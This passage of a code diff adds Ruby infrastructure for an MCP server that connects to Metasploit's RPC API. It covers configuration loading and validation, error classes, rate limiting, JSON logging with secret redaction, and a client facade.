@output.puts "Configuration valid"
|
||||
end
|
||||
|
||||
# Initialize the rate limiter
|
||||
#
|
||||
# @return [void]
|
||||
def initialize_rate_limiter
|
||||
@rate_limiter = Msf::MCP::Security::RateLimiter.new(
|
||||
requests_per_minute: @config.dig(:rate_limit, :requests_per_minute) || 60,
|
||||
burst_size: @config.dig(:rate_limit, :burst_size)
|
||||
)
|
||||
end
|
||||
|
||||
# Ensure the Metasploit RPC server is available, auto-starting if needed
|
||||
#
|
||||
# @return [void]
|
||||
def ensure_rpc_server
|
||||
@rpc_manager = Msf::MCP::RpcManager.new(
|
||||
config: @config,
|
||||
output: @output
|
||||
)
|
||||
@rpc_manager.ensure_rpc_available
|
||||
end
|
||||
|
||||
# Initialize the Metasploit client
|
||||
#
|
||||
# @return [void]
|
||||
def initialize_metasploit_client
|
||||
@output.puts "Connecting to Metasploit RPC at #{@config[:msf_api][:host]}:#{@config[:msf_api][:port]}"
|
||||
@msf_client = Msf::MCP::Metasploit::Client.new(
|
||||
api_type: @config[:msf_api][:type],
|
||||
host: @config[:msf_api][:host],
|
||||
port: @config[:msf_api][:port],
|
||||
endpoint: @config[:msf_api][:endpoint],
|
||||
token: @config[:msf_api][:token],
|
||||
ssl: @config[:msf_api][:ssl]
|
||||
)
|
||||
end
|
||||
|
||||
# Authenticate with Metasploit if using MessagePack
|
||||
#
|
||||
# @return [void]
|
||||
def authenticate_metasploit
|
||||
if @config[:msf_api][:type] == 'messagepack'
|
||||
@output.puts "Authenticating with Metasploit..."
|
||||
@msf_client.authenticate(@config[:msf_api][:user].to_s, @config[:msf_api][:password].to_s)
|
||||
@output.puts "Authentication successful"
|
||||
else
|
||||
@output.puts "Using JSON-RPC with token authentication"
|
||||
end
|
||||
end
|
||||
|
||||
# Initialize the MCP server
|
||||
#
|
||||
# @return [void]
|
||||
def initialize_mcp_server
|
||||
@output.puts "Initializing MCP server..."
|
||||
@mcp_server = Msf::MCP::Server.new(
|
||||
msf_client: @msf_client,
|
||||
rate_limiter: @rate_limiter
|
||||
)
|
||||
end
|
||||
|
||||
# Start the MCP server with configured transport
|
||||
#
|
||||
# @return [void]
|
||||
def start_mcp_server
|
||||
transport = (@config.dig(:mcp, :transport) || 'stdio').to_sym
|
||||
host = @config.dig(:mcp, :host) || 'localhost'
|
||||
port = @config.dig(:mcp, :port) || 3000
|
||||
|
||||
if transport == :http
|
||||
@output.puts "Starting MCP server on HTTP transport..."
|
||||
@output.puts "Server listening on http://#{host}:#{port}"
|
||||
@output.puts "Press Ctrl+C to shutdown"
|
||||
@mcp_server.start(transport: :http, host: host, port: port)
|
||||
else
|
||||
@output.puts "Starting MCP server on stdio transport..."
|
||||
@output.puts "Server ready - waiting for MCP requests"
|
||||
@output.puts "Press Ctrl+C to shutdown"
|
||||
@mcp_server.start(transport: :stdio)
|
||||
end
|
||||
end
|
||||
|
||||
# Error handlers
|
||||
|
||||
def handle_configuration_error(error)
|
||||
@output.puts "Configuration validation failed: #{error.message}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
def handle_connection_error(error)
|
||||
elog({
|
||||
message: 'Connection error',
|
||||
context: { host: @config[:msf_api][:host], port: @config[:msf_api][:port] },
|
||||
exception: error
|
||||
}, LOG_SOURCE, LOG_ERROR)
|
||||
@output.puts "Connection error to Metasploit RPC at #{@config[:msf_api][:host]}:#{@config[:msf_api][:port]} - #{error.message}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
def handle_api_error(error)
|
||||
elog({ message: 'Metasploit API error', exception: error }, LOG_SOURCE, LOG_ERROR)
|
||||
@output.puts "Metasploit API error: #{error.message}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
def handle_authentication_error(error)
|
||||
elog({
|
||||
message: 'Authentication error',
|
||||
context: { username: @config[:msf_api][:user].to_s },
|
||||
exception: error
|
||||
}, LOG_SOURCE, LOG_ERROR)
|
||||
@output.puts "Authentication error (username: #{@config[:msf_api][:user]}): #{error.message}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
def handle_rpc_startup_error(error)
|
||||
elog({ message: 'RPC startup error', exception: error }, LOG_SOURCE, LOG_ERROR)
|
||||
@output.puts "RPC startup error: #{error.message}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
def handle_fatal_error(error)
|
||||
elog({ message: 'Fatal error during startup', exception: error }, LOG_SOURCE, LOG_ERROR)
|
||||
@output.puts "Fatal error: #{error.message}"
|
||||
@output.puts error.backtrace.first(5).join("\n") if error.backtrace
|
||||
exit 1
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,123 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'yaml'
|
||||
|
||||
module Msf::MCP
|
||||
module Config
|
||||
class Loader
|
||||
# Load configuration from YAML file with environment variable overrides
|
||||
#
|
||||
# @param file_path [String] Path to YAML configuration file
|
||||
# @return [Hash] Configuration hash with symbolized keys
|
||||
# @raise [ConfigurationError] If file not found or invalid YAML
|
||||
def self.load(file_path)
|
||||
unless File.exist?(file_path)
|
||||
raise ConfigurationError, "Configuration file not found: #{file_path}"
|
||||
end
|
||||
|
||||
begin
|
||||
config = YAML.safe_load_file(file_path, symbolize_names: true)
|
||||
rescue Psych::SyntaxError => e
|
||||
raise ConfigurationError, "Invalid YAML syntax in #{file_path}: #{e.message}"
|
||||
end
|
||||
|
||||
unless config.is_a?(Hash)
|
||||
raise ConfigurationError, "Configuration file must contain a YAML hash/dictionary"
|
||||
end
|
||||
|
||||
apply_defaults(config)
|
||||
apply_env_overrides(config)
|
||||
config
|
||||
end
|
||||
|
||||
# Load configuration from hash (for testing)
|
||||
#
|
||||
# @param config_hash [Hash] Configuration hash
|
||||
# @return [Hash] Configuration hash with defaults and env overrides
|
||||
def self.load_from_hash(config_hash)
|
||||
config = config_hash.dup
|
||||
apply_defaults(config)
|
||||
apply_env_overrides(config)
|
||||
config
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
# Apply default values to configuration
|
||||
#
|
||||
# @param config [Hash] Configuration hash to modify in place
|
||||
def self.apply_defaults(config)
|
||||
config[:msf_api] ||= {}
|
||||
config[:mcp] ||= {}
|
||||
config[:rate_limit] ||= {}
|
||||
config[:logging] ||= {}
|
||||
|
||||
config[:msf_api][:type] ||= 'messagepack'
|
||||
config[:msf_api][:host] ||= 'localhost'
|
||||
config[:msf_api][:port] ||= (config[:msf_api][:type] == 'json-rpc') ? 8081 : 55553
|
||||
|
||||
config[:msf_api][:ssl] = config[:msf_api].fetch(:ssl, true)
|
||||
config[:msf_api][:auto_start_rpc] = config[:msf_api].fetch(:auto_start_rpc, true)
|
||||
|
||||
config[:msf_api][:endpoint] ||= case config[:msf_api][:type]
|
||||
when 'json-rpc'
|
||||
Msf::MCP::Metasploit::JsonRpcClient::DEFAULT_ENDPOINT
|
||||
else
|
||||
Msf::MCP::Metasploit::MessagePackClient::DEFAULT_ENDPOINT
|
||||
end
|
||||
|
||||
config[:mcp][:transport] ||= 'stdio'
|
||||
|
||||
if config[:mcp][:transport] == 'http'
|
||||
config[:mcp][:host] ||= 'localhost'
|
||||
config[:mcp][:port] ||= 3000
|
||||
end
|
||||
|
||||
config[:rate_limit][:enabled] = config[:rate_limit].fetch(:enabled, true)
|
||||
config[:rate_limit][:requests_per_minute] ||= 60
|
||||
config[:rate_limit][:burst_size] ||= 10
|
||||
|
||||
config[:logging][:enabled] = config[:logging].fetch(:enabled, false)
|
||||
config[:logging][:level] ||= 'INFO'
|
||||
config[:logging][:log_file] ||= File.join(Msf::Config.log_directory, 'msfmcp.log')
|
||||
config[:logging][:sanitize] = config[:logging].fetch(:sanitize, true)
|
||||
end
|
||||
|
||||
# Apply environment variable overrides
|
||||
#
|
||||
# @param config [Hash] Configuration hash to modify in place
|
||||
def self.apply_env_overrides(config)
|
||||
# Ensure nested hashes exist
|
||||
config[:msf_api] ||= {}
|
||||
config[:mcp] ||= {}
|
||||
|
||||
# MSF API overrides
|
||||
config[:msf_api][:type] = ENV['MSF_API_TYPE'] if ENV['MSF_API_TYPE']
|
||||
config[:msf_api][:host] = ENV['MSF_API_HOST'] if ENV['MSF_API_HOST']
|
||||
config[:msf_api][:port] = ENV['MSF_API_PORT'].to_i if ENV['MSF_API_PORT']
|
||||
config[:msf_api][:ssl] = parse_boolean(ENV['MSF_API_SSL']) if ENV['MSF_API_SSL'] && !ENV['MSF_API_SSL'].empty?
|
||||
config[:msf_api][:endpoint] = ENV['MSF_API_ENDPOINT'] if ENV['MSF_API_ENDPOINT']
|
||||
config[:msf_api][:user] = ENV['MSF_API_USER'] if ENV['MSF_API_USER']
|
||||
config[:msf_api][:password] = ENV['MSF_API_PASSWORD'] if ENV['MSF_API_PASSWORD']
|
||||
config[:msf_api][:token] = ENV['MSF_API_TOKEN'] if ENV['MSF_API_TOKEN']
|
||||
config[:msf_api][:auto_start_rpc] = parse_boolean(ENV['MSF_AUTO_START_RPC']) if ENV['MSF_AUTO_START_RPC']
|
||||
|
||||
# MCP transport override
|
||||
config[:mcp][:transport] = ENV['MSF_MCP_TRANSPORT'] if ENV['MSF_MCP_TRANSPORT']
|
||||
|
||||
# MCP server network overrides
|
||||
config[:mcp][:host] = ENV['MSF_MCP_HOST'] if ENV['MSF_MCP_HOST']
|
||||
config[:mcp][:port] = ENV['MSF_MCP_PORT'].to_i if ENV['MSF_MCP_PORT']
|
||||
end
|
||||
|
||||
# Parse a string value into a boolean
|
||||
#
|
||||
# @param value [String] String to parse ('true', '1', 'yes' → true; anything else → false)
|
||||
# @return [Boolean]
|
||||
def self.parse_boolean(value)
|
||||
%w[true 1 yes].include?(value.to_s.downcase)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,202 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Msf::MCP
|
||||
module Config
|
||||
class Validator
|
||||
VALID_API_TYPES = %w[messagepack json-rpc].freeze
|
||||
VALID_TRANSPORTS = %w[stdio http].freeze
|
||||
|
||||
# Validate configuration hash (class method)
|
||||
#
|
||||
# @param config [Hash] Configuration hash to validate
|
||||
# @return [true] If validation passes
|
||||
# @raise [ValidationError] If validation fails
|
||||
def self.validate!(config)
|
||||
new.validate!(config)
|
||||
end
|
||||
|
||||
# Validate configuration hash (instance method)
|
||||
#
|
||||
# @param config [Hash] Configuration hash to validate
|
||||
# @return [true] If validation passes
|
||||
# @raise [ValidationError] If validation fails
|
||||
def validate!(config)
|
||||
errors = {}
|
||||
|
||||
# Check msf_api section exists
|
||||
unless config[:msf_api].is_a?(Hash)
|
||||
errors[:msf_api] = "configuration section is required"
|
||||
raise ValidationError.new(errors)
|
||||
end
|
||||
|
||||
# Validate API type
|
||||
if config[:msf_api][:type] && !VALID_API_TYPES.include?(config[:msf_api][:type])
|
||||
errors[:'msf_api.type'] = "must be one of the valid API types: #{VALID_API_TYPES.join(', ')}"
|
||||
end
|
||||
|
||||
# Validate API type
|
||||
if config[:msf_api][:host] && config[:msf_api][:host].to_s.strip.empty?
|
||||
errors[:'msf_api.host'] = "must be a non-empty string"
|
||||
end
|
||||
|
||||
# Validate mcp section type
|
||||
if config.key?(:mcp) && !config[:mcp].is_a?(Hash)
|
||||
errors[:mcp] = "must be a configuration hash"
|
||||
end
|
||||
|
||||
# Validate transport
|
||||
if config[:mcp].is_a?(Hash) && config[:mcp][:transport] && !VALID_TRANSPORTS.include?(config[:mcp][:transport])
|
||||
errors[:'mcp.transport'] = "must be one of the valid transport: #{VALID_TRANSPORTS.join(', ')}"
|
||||
end
|
||||
|
||||
# Validate port
|
||||
if config[:msf_api][:port]
|
||||
port = config[:msf_api][:port].to_i
|
||||
unless port.between?(1, 65535)
|
||||
errors[:'msf_api.port'] = "must be between 1 and 65535"
|
||||
end
|
||||
end
|
||||
|
||||
# Validate SSL option
|
||||
if config[:msf_api].key?(:ssl) && ![true, false].include?(config[:msf_api][:ssl])
|
||||
errors[:'msf_api.ssl'] = "must be boolean (true or false)"
|
||||
end
|
||||
|
||||
# Validate auto_start_rpc option
|
||||
if config[:msf_api].key?(:auto_start_rpc) && ![true, false].include?(config[:msf_api][:auto_start_rpc])
|
||||
errors[:'msf_api.auto_start_rpc'] = "must be boolean (true or false)"
|
||||
end
|
||||
|
||||
# Validate MCP port
|
||||
if config[:mcp].is_a?(Hash) && config[:mcp][:port]
|
||||
port = config[:mcp][:port].to_i
|
||||
unless port.between?(1, 65535)
|
||||
errors[:'mcp.port'] = "must be between 1 and 65535"
|
||||
end
|
||||
end
|
||||
|
||||
# Validate conditional requirements based on API type
|
||||
if config[:msf_api][:type] == 'messagepack'
|
||||
validate_messagepack_auth(config, errors)
|
||||
elsif config[:msf_api][:type] == 'json-rpc'
|
||||
validate_jsonrpc_auth(config, errors)
|
||||
end
|
||||
|
||||
# Validate rate_limit section
|
||||
if config.key?(:rate_limit)
|
||||
if config[:rate_limit].is_a?(Hash)
|
||||
validate_rate_limit(config, errors)
|
||||
else
|
||||
errors[:rate_limit] = "must be a configuration hash"
|
||||
end
|
||||
end
|
||||
|
||||
# Validate logging section
|
||||
if config.key?(:logging)
|
||||
if config[:logging].is_a?(Hash)
|
||||
validate_logging(config, errors)
|
||||
else
|
||||
errors[:logging] = "must be a configuration hash"
|
||||
end
|
||||
end
|
||||
|
||||
# Raise error if any validation failed
|
||||
unless errors.empty?
|
||||
raise ValidationError.new(errors)
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
LOCALHOST_HOSTS = %w[localhost 127.0.0.1 ::1].freeze
|
||||
|
||||
# Validate MessagePack authentication fields
|
||||
#
|
||||
# Credentials are optional when auto-start can generate random ones
|
||||
# (auto_start_rpc enabled + localhost). If neither user nor password is
|
||||
# provided under those conditions, validation passes and the RPC manager
|
||||
# will generate random credentials at startup.
|
||||
def validate_messagepack_auth(config, errors)
|
||||
user_provided = config[:msf_api][:user] && !config[:msf_api][:user].to_s.strip.empty?
|
||||
password_provided = config[:msf_api][:password] && !config[:msf_api][:password].to_s.strip.empty?
|
||||
|
||||
# Both provided — nothing to validate
|
||||
return if user_provided && password_provided
|
||||
|
||||
# Neither provided and auto-start can generate them — OK
|
||||
return if !user_provided && !password_provided && credentials_can_be_generated?(config)
|
||||
|
||||
# Otherwise, require both
|
||||
unless user_provided
|
||||
errors[:'msf_api.user'] = "is required for MessagePack authentication. Use --user option or MSF_API_USER environment variable"
|
||||
end
|
||||
|
||||
unless password_provided
|
||||
errors[:'msf_api.password'] = "is required for MessagePack authentication. Use --password option or MSF_API_PASSWORD environment variable"
|
||||
end
|
||||
end
|
||||
|
||||
# Whether the RPC manager can generate random credentials for this config.
|
||||
#
|
||||
# @param config [Hash] Configuration hash
|
||||
# @return [Boolean]
|
||||
def credentials_can_be_generated?(config)
|
||||
config[:msf_api][:auto_start_rpc] != false &&
|
||||
LOCALHOST_HOSTS.include?(config[:msf_api][:host].to_s.downcase)
|
||||
end
|
||||
|
||||
# Validate JSON-RPC authentication fields
|
||||
def validate_jsonrpc_auth(config, errors)
|
||||
unless config[:msf_api][:token] && !config[:msf_api][:token].to_s.strip.empty?
|
||||
errors[:'msf_api.token'] = "is required for JSON-RPC authentication"
|
||||
end
|
||||
end
|
||||
|
||||
# Validate rate_limit section fields
|
||||
def validate_rate_limit(config, errors)
|
||||
rate_limit = config[:rate_limit]
|
||||
|
||||
if rate_limit.key?(:enabled) && ![true, false].include?(rate_limit[:enabled])
|
||||
errors[:'rate_limit.enabled'] = "must be boolean (true or false)"
|
||||
end
|
||||
|
||||
if rate_limit.key?(:requests_per_minute)
|
||||
unless rate_limit[:requests_per_minute].is_a?(Integer) && rate_limit[:requests_per_minute] >= 1
|
||||
errors[:'rate_limit.requests_per_minute'] = "must be an integer >= 1"
|
||||
end
|
||||
end
|
||||
|
||||
if rate_limit.key?(:burst_size)
|
||||
unless rate_limit[:burst_size].is_a?(Integer) && rate_limit[:burst_size] >= 1
|
||||
errors[:'rate_limit.burst_size'] = "must be an integer >= 1"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
VALID_LOG_LEVELS = %w[DEBUG INFO WARN ERROR].freeze
|
||||
|
||||
# Validate logging section fields
|
||||
def validate_logging(config, errors)
|
||||
logging = config[:logging]
|
||||
|
||||
if logging.key?(:enabled) && ![true, false].include?(logging[:enabled])
|
||||
errors[:'logging.enabled'] = "must be boolean (true or false)"
|
||||
end
|
||||
|
||||
if logging.key?(:level) && !VALID_LOG_LEVELS.include?(logging[:level].to_s.upcase)
|
||||
errors[:'logging.level'] = "must be one of: #{VALID_LOG_LEVELS.join(', ')}"
|
||||
end
|
||||
|
||||
if logging.key?(:log_file) && logging[:log_file].to_s.strip.empty?
|
||||
errors[:'logging.log_file'] = "must be a non-empty string"
|
||||
end
|
||||
|
||||
if logging.key?(:sanitize) && ![true, false].include?(logging[:sanitize])
|
||||
errors[:'logging.sanitize'] = "must be boolean (true or false)"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,69 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Msf::MCP
|
||||
##
|
||||
# Base error class for all Msf::MCP errors
|
||||
#
|
||||
class Error < StandardError; end
|
||||
|
||||
##
|
||||
# Configuration Layer Errors
|
||||
#
|
||||
module Config
|
||||
|
||||
class ConfigurationError < Error; end
|
||||
|
||||
class ValidationError < Error
|
||||
attr_reader :errors
|
||||
|
||||
def initialize(errors = {})
|
||||
@errors = errors
|
||||
super(build_message)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def build_message
|
||||
return "Configuration validation failed" if @errors.empty?
|
||||
|
||||
messages = @errors.map { |field, error| "#{field} #{error}" }
|
||||
"Configuration validation failed:\n - #{messages.join("\n - ")}"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
##
|
||||
# Security Layer Errors
|
||||
#
|
||||
module Security
|
||||
|
||||
class ValidationError < Error; end
|
||||
|
||||
class RateLimitExceededError < Error
|
||||
attr_reader :retry_after
|
||||
|
||||
def initialize(retry_after)
|
||||
@retry_after = retry_after
|
||||
super("Rate limit exceeded. Retry after #{retry_after} seconds.")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
##
|
||||
# Metasploit Client Layer Errors
|
||||
#
|
||||
module Metasploit
|
||||
|
||||
class AuthenticationError < Error; end
|
||||
|
||||
class ConnectionError < Error; end
|
||||
|
||||
class APIError < Error; end
|
||||
|
||||
class RpcStartupError < Error; end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,24 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf::MCP
|
||||
module Logging
|
||||
module Sinks
|
||||
###
|
||||
#
|
||||
# This class implements the LogSink interface and backs it against a
|
||||
# JSON file on disk.
|
||||
#
|
||||
###
|
||||
class JsonFlatfile < Msf::MCP::Logging::Sinks::JsonStream
|
||||
|
||||
#
|
||||
# Creates a JSON flatfile log sink instance that will be configured to log to
|
||||
# the supplied file path.
|
||||
#
|
||||
def initialize(file)
|
||||
super(File.new(file, 'a'))
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,123 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Msf::MCP
|
||||
module Logging
|
||||
module Sinks
|
||||
# A Rex LogSink that formats log messages as JSON and writes them to
|
||||
# an IO stream (e.g. $stdout, a File, a StringIO).
|
||||
#
|
||||
# @example Writing JSON logs to $stderr
|
||||
# sink = Msf::MCP::Logging::Sinks::JsonStream.new($stderr)
|
||||
# register_log_source('mcp', sink, Rex::Logging::LEV_0)
|
||||
#
|
||||
# @example Backed by a file via JsonFlatfile
|
||||
# sink = Msf::MCP::Logging::Sinks::JsonFlatfile.new('msfmcp.log')
|
||||
# register_log_source('mcp', sink, Rex::Logging::LEV_0)
|
||||
class JsonStream
|
||||
include Rex::Logging::LogSink
|
||||
|
||||
def initialize(stream)
|
||||
@stream = stream
|
||||
end
|
||||
|
||||
def log(sev, src, level, msg)
|
||||
log_entry = {
|
||||
timestamp: get_current_timestamp,
|
||||
severity: sev.to_s.upcase,
|
||||
level: level.to_s,
|
||||
source: src.to_s,
|
||||
message: msg.to_s
|
||||
}
|
||||
|
||||
if msg.is_a?(Hash)
|
||||
log_entry[:message] = msg[:message] if msg[:message] && !msg[:message].empty?
|
||||
if msg[:context] && !msg[:context].empty?
|
||||
log_entry[:context] = if debug_log_level?
|
||||
msg[:context]
|
||||
else
|
||||
summarize_context(msg[:context])
|
||||
end
|
||||
end
|
||||
if msg[:exception]
|
||||
log_entry[:exception] = if msg[:exception].is_a?(Exception)
|
||||
ex_msg = { class: msg[:exception].class.name, message: msg[:exception].message }
|
||||
if get_log_level(LOG_SOURCE) >= BACKTRACE_LOG_LEVEL
|
||||
ex_msg[:backtrace] = msg[:exception].backtrace&.first(5) || []
|
||||
end
|
||||
ex_msg
|
||||
else
|
||||
msg[:exception]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
stream.write(log_entry.to_json + "\n")
|
||||
stream.flush
|
||||
end
|
||||
|
||||
def cleanup
|
||||
stream.close
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :stream
|
||||
|
||||
private
|
||||
|
||||
# Keys whose values can be large (full API responses, tool results, etc.)
|
||||
# and should be truncated at non-DEBUG log levels.
|
||||
HEAVY_KEYS = %i[result body error].freeze
|
||||
|
||||
# Maximum character length for truncated values.
|
||||
TRUNCATE_MAX_LENGTH = 1000
|
||||
|
||||
# Whether the current log level for the MCP source is at least DEBUG
|
||||
# (LEV_3 / BACKTRACE_LOG_LEVEL), which enables full context output
|
||||
# and exception backtraces.
|
||||
#
|
||||
# @return [Boolean]
|
||||
def debug_log_level?
|
||||
get_log_level(LOG_SOURCE) >= BACKTRACE_LOG_LEVEL
|
||||
end
|
||||
|
||||
# Return a reduced copy of +ctx+ suitable for non-DEBUG log entries.
|
||||
#
|
||||
# Heavy keys (:result, :body, :error) are truncated. The :response sub-hash is also
|
||||
# truncated. All other keys (scalars like :method, :elapsed_ms, :session_id) pass
|
||||
# through unchanged.
|
||||
#
|
||||
# @param ctx [Hash] The original context hash
|
||||
# @return [Hash] A summarized copy
|
||||
def summarize_context(ctx)
|
||||
return ctx unless ctx.is_a?(Hash)
|
||||
|
||||
ctx.each_with_object({}) do |(k, v), acc|
|
||||
if HEAVY_KEYS.include?(k)
|
||||
acc[k] = truncate_value(v)
|
||||
elsif k == :response && v.is_a?(Hash)
|
||||
acc[k] = v.each_with_object({}) do |(k_sub, v_sub), acc_sub|
|
||||
acc_sub[k_sub] = HEAVY_KEYS.include?(k_sub) ? truncate_value(v_sub) : v_sub
|
||||
end
|
||||
else
|
||||
acc[k] = v
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Truncate a value to a human-readable summary string.
|
||||
#
|
||||
# @param val [Object] The value to truncate
|
||||
# @param max_length [Integer] Maximum character length before truncation
|
||||
# @return [Object] The original value if short enough, otherwise a truncated string
|
||||
def truncate_value(val, max_length: TRUNCATE_MAX_LENGTH)
|
||||
str = val.is_a?(String) ? val : val.to_json
|
||||
return val if str.length <= max_length
|
||||
|
||||
"#{str[0...max_length]}... (truncated, #{str.length} bytes)"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,111 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'rex/logging/log_sink'
|
||||
|
||||
module Msf::MCP
|
||||
module Logging
|
||||
module Sinks
|
||||
# A Rex LogSink decorator that redacts sensitive information from log
|
||||
# messages before delegating to a wrapped sink.
|
||||
#
|
||||
# @example Wrapping a JsonFlatfile sink
|
||||
# inner = Msf::MCP::Logging::Sinks::JsonFlatfile.new('msfmcp.log')
|
||||
# sink = Msf::MCP::Logging::Sinks::Sanitizing.new(inner)
|
||||
# register_log_source('mcp', sink, Rex::Logging::LEV_0)
|
||||
class Sanitizing
|
||||
include Rex::Logging::LogSink
|
||||
|
||||
REDACTED = '[REDACTED]'
|
||||
|
||||
SENSITIVE_PATTERNS = {
|
||||
password: /password[\"']?\s*[:=]\s*[\"']?[^\"',\s}]+/i,
|
||||
token_keyval: /token[\"']?\s*[:=]\s*[\"']?[^\"',\s}]+/i,
|
||||
token_header: /token\s+[a-zA-Z0-9_\-\.]+/i,
|
||||
api_key: /api[_-]?key[\"']?\s*[:=]\s*[\"']?[^\"',\s}]+/i,
|
||||
secret: /secret[_-]?key[\"']?\s*[:=]\s*[\"']?[^\"',\s}]+/i,
|
||||
credential: /credential[\"']?\s*[:=]\s*[\"']?[^\"',\s}]+/i,
|
||||
auth: /auth[\"']?\s*[:=]\s*[\"']?[^\"',\s}]+/i,
|
||||
bearer: /bearer\s+[a-zA-Z0-9_\-\.]+/i
|
||||
}.freeze
|
||||
|
||||
SENSITIVE_KEYS = /\A(password|token|secret|api_key|api_secret|credential|auth_token|bearer|access_token|private_key)\z/i
|
||||
|
||||
# @param sink [Rex::Logging::LogSink] The underlying sink to write to
|
||||
def initialize(sink)
|
||||
@sink = sink
|
||||
end
|
||||
|
||||
def log(sev, src, level, msg)
|
||||
@sink.log(sev, src, level, sanitize(msg))
|
||||
end
|
||||
|
||||
def cleanup
|
||||
@sink.cleanup
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Sanitize data for logging by redacting sensitive information.
|
||||
#
|
||||
# @param data [Object] Data to sanitize (Hash, Array, String, or other)
|
||||
# @return [Object] Sanitized copy of data
|
||||
def sanitize(data)
|
||||
case data
|
||||
when Hash
|
||||
data.each_with_object({}) do |(k, v), result|
|
||||
result[k] = if k.to_s.match?(SENSITIVE_KEYS)
|
||||
v.is_a?(Hash) || v.is_a?(Array) ? sanitize(v) : REDACTED
|
||||
elsif k.to_sym == :exception && v.is_a?(Exception)
|
||||
ex_msg = { class: v.class.name, message: sanitize(v.message) }
|
||||
if get_log_level(LOG_SOURCE) >= BACKTRACE_LOG_LEVEL
|
||||
bt = v.backtrace&.first(5) || []
|
||||
bt = bt.map{|x| x.sub(/^.*lib\//, 'lib/') } # Dont expose the install path
|
||||
ex_msg[:backtrace] = sanitize(bt)
|
||||
end
|
||||
ex_msg
|
||||
else
|
||||
sanitize(v)
|
||||
end
|
||||
end
|
||||
when Array
|
||||
data.map { |item| sanitize(item) }
|
||||
when String
|
||||
sanitize_string(data)
|
||||
else
|
||||
data
|
||||
end
|
||||
end
|
||||
|
||||
# Sanitize a string by redacting sensitive patterns
|
||||
#
|
||||
# @param str [String] String to sanitize
|
||||
# @return [String] Sanitized string
|
||||
def sanitize_string(str)
|
||||
return str unless str.is_a?(String)
|
||||
|
||||
sanitized = str.dup
|
||||
|
||||
# Redact sensitive patterns - match entire pattern and replace value part
|
||||
SENSITIVE_PATTERNS.each do |name, pattern|
|
||||
sanitized = sanitized.gsub(pattern) do |match|
|
||||
# For header-style tokens (token abc123, bearer abc123), replace the value
|
||||
# # TODO: check this
|
||||
if name == :token_header || name == :bearer
|
||||
parts = match.split(/\s+/, 2)
|
||||
"#{parts[0]} #{REDACTED}"
|
||||
# For key-value style (token: abc123, password=abc123), replace after separator
|
||||
elsif match =~ /(.*[:=])\s*[\"']?/
|
||||
"#{Regexp.last_match[1]} #{REDACTED}"
|
||||
else
|
||||
REDACTED
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
sanitized
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,64 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'forwardable'
|
||||
|
||||
module Msf::MCP
|
||||
module Metasploit
|
||||
# Client facade that routes to the appropriate protocol implementation
|
||||
# Supports MessagePack RPC (Metasploit's native protocol) and JSON-RPC
|
||||
class Client
|
||||
extend Forwardable
|
||||
|
||||
def_delegators :@client, :authenticate, :search_modules, :module_info, :db_hosts, :db_services, :db_vulns, :db_notes, :db_creds, :db_loot, :shutdown
|
||||
|
||||
##
|
||||
# Initialize Metasploit client with explicit parameters
|
||||
#
|
||||
# @param api_type [String] API type: 'messagepack' or 'json-rpc'
|
||||
# @param host [String] Metasploit host
|
||||
# @param port [Integer] Metasploit port
|
||||
# @param endpoint [String] API endpoint path
|
||||
# @param token [String, nil] API token (for json-rpc)
|
||||
# @param ssl [Boolean] Use SSL (default: true)
|
||||
#
|
||||
def initialize(api_type:, host:, port:, endpoint: nil, token: nil, ssl: true)
|
||||
@client = create_client(api_type: api_type, host: host, port: port, endpoint: endpoint, token: token, ssl: ssl)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Create the appropriate client based on API type
|
||||
# @param api_type [String] API type: 'messagepack' or 'json-rpc'
|
||||
# @param host [String] Metasploit host
|
||||
# @param port [Integer] Metasploit port
|
||||
# @param endpoint [String] API endpoint path
|
||||
# @param token [String, nil] API token (for json-rpc)
|
||||
# @param ssl [Boolean] Use SSL (default: true)
|
||||
# @return [MessagePackClient, JsonRpcClient] Client instance
|
||||
# @raise [Error] If invalid API type specified
|
||||
def create_client(api_type:, host:, port:, endpoint: nil, token: nil, ssl: true)
|
||||
case api_type
|
||||
when 'messagepack'
|
||||
require_relative 'messagepack_client'
|
||||
MessagePackClient.new(
|
||||
host: host,
|
||||
port: port,
|
||||
endpoint: endpoint || MessagePackClient::DEFAULT_ENDPOINT,
|
||||
ssl: ssl
|
||||
)
|
||||
when 'json-rpc'
|
||||
require_relative 'jsonrpc_client'
|
||||
JsonRpcClient.new(
|
||||
host: host,
|
||||
port: port,
|
||||
endpoint: endpoint || JsonRpcClient::DEFAULT_ENDPOINT,
|
||||
ssl: ssl,
|
||||
token: token
|
||||
)
|
||||
else
|
||||
raise Error, "Invalid API type: #{api_type}"
|
